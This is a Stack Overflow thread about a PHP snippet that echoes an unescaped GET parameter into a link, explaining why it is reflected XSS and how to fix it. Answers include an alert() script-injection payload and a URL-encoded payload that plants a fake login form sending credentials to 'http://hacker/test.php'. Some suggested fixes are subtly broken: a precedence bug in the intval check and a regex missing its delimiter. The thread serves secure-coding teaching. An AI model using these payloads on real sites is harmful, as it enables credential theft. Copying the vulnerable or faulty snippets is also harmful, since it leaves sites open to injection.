1

I have this php code and my CMS security auto-test says it's a XSS attack. Why and How can I fix this?

$url = "news.php";
if (isset($_GET['id']))
  $url .= "?id=".$_GET["id"];
echo "<a href='{$url}'>News</a>";
Pedram Behroozi
  • 2,447
  • 2
  • 27
  • 48
  • 1
    What is your CMS? What is the security test? – Bruno Vieira Nov 12 '12 at 11:50
  • if the `$_GET['id']` meant to be numeric value, use http://www.php.net/manual/en/function.filter-var.php or http://php.net/manual/en/function.filter-input.php – ajreal Nov 12 '12 at 11:52
  • A user could add external parameters to it, say `?id=number' DO SOMETHING DANGEROUS`. However if this does not go through the database, then it shouldn't be an issue. – Sylus Nov 12 '12 at 11:52
  • @ajreal Why did you ask like that? – Elby Nov 12 '12 at 11:56
  • @Elby https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#Why_Can.27t_I_Just_HTML_Entity_Encode_Untrusted_Data.3F – ajreal Nov 12 '12 at 12:02

5 Answers5

6

It's XSS (cross site scripting) as someone could call your thing like this:

?id='></a><script type='text/javascript'>alert('xss');</script><a href='

Essentially turning your code into

<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a>

Now whenever someone would visit this site, it'd load and run the javascript alert('xss'); which might as well be a redirector or a cookie stealer.

As many others have mentioned, you can fix this by using filter_var or intval (if it's a number). If you want to be more advanced, you could also use regex to match your string.

Imagine you accept a-z A-Z and 0-9. This would work:

if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) {
    //whatever
}

filter_input even has a manual entry doing exactly what you want (sanitizing your input into a link):

<?php
    $search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
    $search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
    echo "You have searched for $search_html.\n";
    echo "<a href='?search=$search_url'>Search again.</a>";
?>
h2ooooooo
  • 39,111
  • 8
  • 68
  • 102
  • Thanks. As @Mene mentioned, should I `urlencode` the input as well? – Pedram Behroozi Nov 12 '12 at 12:05
  • @PedramBehroozi You can - it doesn't do anything if it's just a number though - and there's no need to use `urlencode` if you use `filter_input`, as it does it for you. – h2ooooooo Nov 12 '12 at 12:07
2

Yeah .. a simple attach

site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27
             ^
             |
        Start XSS Injection

This would output

<a href='news.php?id='></a>
<br>
<br>
Please login with the form below before proceeding:
<form action="http://hacker/test.php">
    <table>
        <tr>
            <td>Login:</td>
            <td><input type=text length=20 name=login></td>
        </tr>
        <tr>
            <td>Password:</td>
            <td><input type=text length=20 name=password></td>
        </tr>
    </table>
    <input type=submit value=LOGIN>
</form>
<a href=''>News</a>

Asking your client there username and password to continue and sending the information to http://hacker/test.php and they are then re directly back normally as if nothing happened

To fix this try

$_GET["id"] = intval($_GET["id"]);

Or

$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT);
Baba
  • 94,024
  • 28
  • 166
  • 217
0

You'll need to urlencode:

$url .= "?id=" . urlencode($_GET["id"]);
Mene
  • 3,739
  • 21
  • 40
0

As a global rule you have to filter the contents of GET and POST. Use filter_var before using the contents of $_GET['id'].

$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT);
// or at least
$id = (int) $_GET['id'];
Elzo Valugi
  • 27,240
  • 15
  • 95
  • 114
0

Never use directly $_GET or $_POST!!! You must escape it some way.. For example ..

$url = "news.php";
if (isset($_GET['id']) && $id=intval($_GET["id"])>0){
  $url .= "?id={$id}";
}
echo "<a href='{$url}'>News</a>";
Svetoslav
  • 4,686
  • 2
  • 28
  • 43
  • 1
    why not? this wasn't stated anywhere. In fact no one said it's a number. It could be a GUID or a string... – Mene Nov 12 '12 at 11:59
  • @Mene IDs for many many reasons should be Integers.. That is the reason I checked for Int.. – Svetoslav Nov 12 '12 at 12:27